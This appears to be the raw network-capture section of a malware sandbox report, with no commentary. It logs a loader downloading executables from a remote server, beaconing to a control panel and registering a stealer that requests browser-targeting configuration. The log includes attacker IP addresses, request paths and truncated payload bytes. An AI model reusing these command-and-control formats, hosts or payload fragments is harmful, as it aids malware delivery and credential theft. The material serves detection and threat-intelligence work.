Nov 18, 2024 19:04:19.815391064 CET	424	IN	Data Raw: 9b 5e 55 ea c8 04 30 09 a0 ad 6f 98 39 07 3a 09 34 d5 70 69 3b c7 68 0f ab 1d 64 83 ff 02 7a eb ec f2 4e 4d 5b 8e 0f d1 38 74 27 92 6d d5 b8 69 22 6b 23 ba 3c 56 55 71 64 2f 27 55 80 14 9d 28 5c 63 f2 ae 37 5e 00 18 5f 83 bd 60 7c 5d 23 cd 0c 6f Data Ascii: ^U0o9:4pi;hdzNM[8t'mi"k#<VUqd/'U(\c7^_`\|]#o,za7n]$^__aC9Vejc#1#(vcRAvO+:uoC{Th;#w-f3e]kZI0k)To}@NVPbq
Nov 18, 2024 19:04:19.906807899 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 18, 2024 19:04:19.906825066 CET	212	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(
Nov 18, 2024 19:04:19.908015013 CET	1236	IN	Data Raw: 77 2e b5 41 cf 3f 6f 9d 7d b6 f6 de 27 53 c7 da 9f e7 14 1e 08 fa ae da 35 34 20 4e 39 9c 45 67 b5 aa 78 64 04 3d ad c6 f8 28 bf f8 d3 75 80 94 fa 49 8e 17 c3 79 91 3f 3f c3 5a bf 6b 4f 7b c0 19 00 44 92 4c 21 a0 0d 76 60 8a cd 09 1b fa 69 d4 58 Data Ascii: w.A?o}'S54 N9Egxd=(uIy??ZkO{DL!v`iX:l$.K5PT0?[s[-Bd'EE.DkJ\^A2AW7Y'eqA#A(pI>j>iB3l(Bs?9UA5Ihhg[C4\|_I~\|vaD
Nov 18, 2024 19:04:19.908034086 CET	1236	IN	Data Raw: 30 be b5 2b ec 88 94 c9 a8 95 5d 60 35 dc 42 cf 31 45 5e b2 92 98 67 9e 8d 17 6f 96 c8 24 b2 8c a5 c0 4d 84 04 98 f0 24 44 1f 34 05 0c 6f 24 ee c0 15 79 0b 4e a0 2c e2 a7 03 bb 56 f4 35 45 81 46 22 7a cc 70 60 ce 12 ca 1b 27 ca fc ce 7f 4b a5 8d Data Ascii: 0+]`5B1E^go$M$D4o$yN,V5EF"zp`'KS0M_rW\C?.N(\|F\Q$juz"yMo.Lb%9KNXN4MB asC) nm zz+\|M`V;0]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49980	185.215.113.16	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:18.901664972 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 19:04:19.832904100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:19 GMT Content-Type: application/octet-stream Content-Length: 1850880 Last-Modified: Mon, 18 Nov 2024 17:10:56 GMT Connection: keep-alive ETag: "673b7520-1c3e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 b2 8c 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gI@I@\ppq P^@.rsrc `n@.idata pn@ `*p@wlfzarvz/r@jvbpohamI@.taggant0I"@
Nov 18, 2024 19:04:19.833025932 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:19.870788097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:19.870812893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:19.870825052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:19.870974064 CET	1236	IN	Data Raw: 68 f8 cc 7f fa 75 ae bc db 59 02 d3 b0 7a e3 8a 82 a4 fd 5f ff 90 a6 41 95 cf cc 53 1d ab f0 95 b6 15 a0 de 99 63 cb 2f 76 03 5d 0c 7f c8 d0 88 e8 f5 1f 8d e9 64 77 ce 87 59 cc f0 53 56 18 eb da e2 ae 3f c2 c2 e8 2f 15 4f 25 a6 d5 e0 12 ec 16 53 Data Ascii: huYz_ASc/v]dwYSV?/O%S\B,>]sc%bS3wW7,ke#p]au)eXk8K(dtyP"xD]'t6ZP3AlYT}K{x
Nov 18, 2024 19:04:19.870985031 CET	1236	IN	Data Raw: 6b f3 d0 35 03 02 3f 40 18 ec 75 5c ed 1b 92 b2 9f d8 74 a2 7e 4a 78 26 53 1d e7 fd 1a 0c 95 72 26 3b db a1 46 fc f0 cc 6e f4 05 00 b7 dc 05 0f ca ac de 3c 2b f4 f2 15 f6 99 ba a3 99 0c 6e d3 cf 99 4e d1 20 04 c1 68 d8 6a f6 2b b7 5e 50 03 6d 0e Data Ascii: k5?@u\t~Jx&Sr&;Fn<+nN hj+^Pm;M+$MVA\n+85usMuEu,,:$l#9LqxSJ&cP@h>Wc0"KkijUYR{SccYpc{QKk\|bDK
Nov 18, 2024 19:04:19.870996952 CET	1236	IN	Data Raw: 9b 3d d7 cc 8e 24 81 c9 5b cc 7e 46 80 de bf 91 7b 4f eb 67 d6 e5 8d 38 87 19 e1 cb d7 dc e3 8c 9a 1d 77 21 3b 66 6d 57 87 ad 2f ab 9e 68 76 da bc 3d 1d cd 0e 6f d5 e2 e7 99 df 1f 48 24 25 16 24 63 6b 91 4e e9 d5 2a dc 17 5a 7d db a7 49 9f 46 0f Data Ascii: =$[~F{Og8w!;fmW/hv=oH$%$ckNZ}IF8lb,et%%E!D8yS:v]%1rK5,rXx2KL_6+LPPNWl{l{$S`F
Nov 18, 2024 19:04:19.871009111 CET	1236	IN	Data Raw: 26 ef 20 12 e8 1b 07 de 3c f9 1c 17 2c a8 20 99 8f f8 e4 16 fe aa 51 8b f8 fc 54 74 d0 61 76 a3 14 e2 b4 92 18 42 d7 47 5b c2 75 14 d4 10 c4 ea ca 17 bd b4 c1 07 f8 a9 bd 7c 6b 0a 27 44 45 0c 18 04 0b 10 8f 42 9a 86 30 ef e7 4d e6 2c cf 87 de 63 Data Ascii: & <, QTtavBG[u\|k'DEB0M,csCX42E#9D)_uW am(:n*-$-7=-aJV>Xp+>kY~HXa5z,]U_zUC$.\}%P47h
Nov 18, 2024 19:04:19.871149063 CET	1236	IN	Data Raw: 92 59 18 b7 17 e0 43 68 45 4c d6 6b 78 7c cd b4 45 04 f5 46 2c a4 3a 4d eb e6 75 c9 49 0d bd 0b 72 c6 cf 92 ff e8 16 f2 cf 1e 11 28 4f 9e 6b 0b b7 a2 9d b5 d4 a8 d5 76 94 83 63 43 85 22 13 1a 92 c7 62 84 db 63 94 6b f5 e8 84 e4 e4 52 83 62 1a 11 Data Ascii: YChELkx\|EF,:MuIr(OkvcC"bckRbX(mFuXbcJ`cz3Q!VU[JzUuX{K7jtF"LyREip}rfOuGO+4],Ypi/bfh~
Nov 18, 2024 19:04:19.871160030 CET	1236	IN	Data Raw: ba cb 95 65 5e dc 14 4a dc 38 5a 5d ea 5c 97 18 41 65 ed 54 16 e5 84 98 15 5b 9f 0b ba 1d d3 78 ac 0f 94 c1 1c 5c 77 52 7f 2a b6 60 a6 c0 8c e1 ec 70 e7 29 b8 05 9a a8 d3 15 78 63 07 a3 7b 13 01 a7 0c 65 74 3b 1b 59 4f d9 ba 35 83 08 de 85 d4 05 Data Ascii: e^J8Z]\AeT[x\wR*`p)xc{et;YO5h yOpo$>A:q,$U0/:SuIuSLeDs~,kC#3)g\|_\P8\WSEy'HVK[l$i]302

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49981	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:27.228629112 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007212001&unit=246122658369
Nov 18, 2024 19:04:28.158643007 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49983	185.215.113.16	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:28.170062065 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 19:04:29.085067034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:28 GMT Content-Type: application/octet-stream Content-Length: 1799168 Last-Modified: Mon, 18 Nov 2024 17:11:03 GMT Connection: keep-alive ETag: "673b7527-1b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 34 42 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"h@ i4B@M$a$$ $b@.rsrc$r@.idata $t@ @*$v@efutjbgcOx@idmyvlruhN@.taggant0h"R@
Nov 18, 2024 19:04:29.085081100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:29.085093975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:29.085196018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:29.085207939 CET	1236	IN	Data Raw: ff eb 46 d6 cd 94 eb 54 f5 78 3e 51 8a 13 d3 4e e0 1a 38 b9 4d b1 92 f4 ed 10 7f ba 11 eb e2 22 5d 8b 1d 5a 73 b4 0f bb b2 6a ff e7 e2 1f 35 c2 95 c5 32 4a ed 1c 91 3c d4 0b 3b be 82 1b 21 0b 55 a6 9e 1b 7d 82 7a bd c7 ec 37 b9 6b 45 cd a1 d5 03 Data Ascii: FTx>QN8M"]Zsj52J<;!U}z7kE8\|n4oAv<#{C\|."? \(S{:5R%j2W+.@L4_HRX)hKR{*bE3GHAZK&%O9Q7!S"7#o{Smb7l9Y
Nov 18, 2024 19:04:29.085218906 CET	1236	IN	Data Raw: e3 e8 35 fb cc 13 db 03 4b 8c a7 d1 3e 34 0e b3 fe 01 79 4b 0c b3 73 76 4d 5e ad ac 93 00 85 a1 db 0e 83 56 b3 af 29 3c 20 f1 38 be 14 61 57 a3 2e 74 fa 51 8c 31 85 99 70 ec eb 33 53 c9 2c 8b 3d e2 78 00 e9 e8 24 e2 14 8f bb 9e eb ef a2 eb 2c d6 Data Ascii: 5K>4yKsvM^V)< 8aW.tQ1p3S,=x$,^,~\|+V%[tF9'\4[MA\|lU>?Q.\Nvb)=(p2VGV}60l,LxIY+D5a?V
Nov 18, 2024 19:04:29.085231066 CET	1236	IN	Data Raw: ed db d8 1f 84 2b a5 e7 13 3b 83 a1 4d 2b ff d9 01 4f 89 23 2d 21 ca a3 4d 03 8d 1d 51 13 4d e6 e9 56 ea 26 3d 06 cb da 11 55 fa b7 f6 cb 80 01 5d 0f 09 cb 31 d0 b5 ea ff cc 2d 59 51 01 7d ca 25 d0 43 eb 6e cb f9 01 75 0f 5d cb dd 4f f2 7a 10 69 Data Ascii: +;M+O#-!MQMV&=U]1-YQ}%Cnu]OziUzfV&-I"FNO%1#m+`TkYqU8A]%Kj[$ Nz$?h:$r$:hE
Nov 18, 2024 19:04:29.085428953 CET	1236	IN	Data Raw: ef 66 aa d7 68 72 42 c5 e3 3f 0b d7 d1 55 e9 9c f0 81 4d 19 67 dd 45 25 55 56 cd 76 11 26 09 07 ed dd 71 e6 41 cb 3d 48 2c cc 37 71 ed dd 4d e5 a1 21 02 c1 6e 0f 84 25 22 cb f2 81 12 a7 03 c5 45 1d c3 f1 dd dd 8d d9 f0 4b d1 5d 65 19 79 93 e3 2b Data Ascii: fhrB?UMgE%UVv&qA=H,7qM!n%"EK]ey+g+gj6N)QIvjPQ&e73$!hueJdQIJ'TnP%7!!n!moZAAQ]5O',%JDK*j/h?T;:+c
Nov 18, 2024 19:04:29.085441113 CET	1236	IN	Data Raw: 34 ae fc 75 f3 97 fb 5b e1 21 0c 1e 6d e4 f3 d9 95 4f 6d 5e 2d 78 01 03 09 b7 de 22 15 af 81 a7 f5 70 ac db 4b 2c 75 11 ff 0e 7d cb 6d 01 c6 f5 e7 79 8d d7 a5 12 2d 23 65 3a 7f a3 a0 e3 fc d9 c1 49 ed 3a e0 20 42 25 ed 3c c7 d1 84 2b 6d eb 09 d6 Data Ascii: 4u[!mOm^-x"pK,u}my-#e:I: B%<+m<<;:!;^2sm+L0]+1Y%<Q;<UK!!qn{m _A[u#m}n[$eC:#qU
Nov 18, 2024 19:04:29.085453033 CET	1236	IN	Data Raw: e0 81 ef ab ff df ce c5 9d 21 d5 db 35 a6 e6 e6 6c 3f cb d7 49 d0 e3 d5 6f 11 fe 5b ed 13 d1 cc 2d 4b ad d6 2b ce 1b e7 21 4f f9 05 10 ae da a6 06 c6 88 5d e1 7f 6a d7 55 cb 0d e5 6b ec 0e d9 ee 6b 01 21 61 01 bd 22 f1 92 e8 d5 6d e1 fc d9 81 4f Data Ascii: !5l?Io[-K+!O]jUkk!a"mO]-O>-ze+kH=!7^;.f=ym1&O})'&]V_A-kH2$c9"]V
Nov 18, 2024 19:04:29.090111971 CET	1120	IN	Data Raw: a9 40 7c 75 6b d3 3e 29 de d8 bd cd 95 13 ee 6e 0b 73 25 a6 0d c0 d5 80 26 a0 3a b7 18 90 79 f6 f5 e6 60 c7 35 7d c9 c7 96 58 0b a0 68 7c bd f4 38 ff ca b9 f3 c1 5a 4a f7 fe c7 8d f4 de d9 ec 41 a8 01 5e 2f 9b d5 b7 eb b7 f6 ae f8 1b 0d 68 69 af Data Ascii: @\|uk>)ns%&:y`5}Xh\|8ZJA^/his!t&=WaogSy6Mt]~HJlnESnO4M6@=pZ)\"IV!9?^ _1_=/&='_`Ou[dS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49988	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:36.437211037 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007213001&unit=246122658369
Nov 18, 2024 19:04:37.353883982 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49989	185.215.113.206	80	7096	C:\Users\user\AppData\Local\Temp\1007213001\8ab7de79e4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:37.115458012 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 19:04:38.027148008 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 19:04:38.029756069 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 34 32 35 33 31 32 30 30 37 30 46 38 30 37 36 35 36 36 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="hwid"F4253120070F807656615------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="build"mars------GIEHJDHCBAEHJJJKKFID--
Nov 18, 2024 19:04:38.323235989 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 55 34 4e 7a 6b 77 4d 6a 68 68 59 6a 59 77 5a 44 6c 68 4f 47 52 68 5a 44 64 6c 5a 47 49 30 4e 6a 49 30 5a 6a 63 35 4e 6d 45 30 4f 54 4d 35 59 6d 52 6d 4d 54 5a 6c 59 7a 42 6b 59 7a 45 7a 4e 6d 59 77 4d 44 51 7a 4d 44 46 6b 59 32 51 32 59 54 4a 6a 4d 6a 64 6a 5a 44 68 6b 59 57 51 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTU4NzkwMjhhYjYwZDlhOGRhZDdlZGI0NjI0Zjc5NmE0OTM5YmRmMTZlYzBkYzEzNmYwMDQzMDFkY2Q2YTJjMjdjZDhkYWQyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 19:04:38.324474096 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 38 37 39 30 32 38 61 62 36 30 64 39 61 38 64 61 64 37 65 64 62 34 36 32 34 66 37 39 36 61 34 39 33 39 62 64 66 31 36 65 63 30 64 63 31 33 36 66 30 30 34 33 30 31 64 63 64 36 61 32 63 32 37 63 64 38 64 61 64 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"95879028ab60d9a8dad7edb4624f796a4939bdf16ec0dc136f004301dcd6a2c27cd8dad2------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"browsers------JKECFCFBGDHIECAAFIID--
Nov 18, 2024 19:04:38.606543064 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 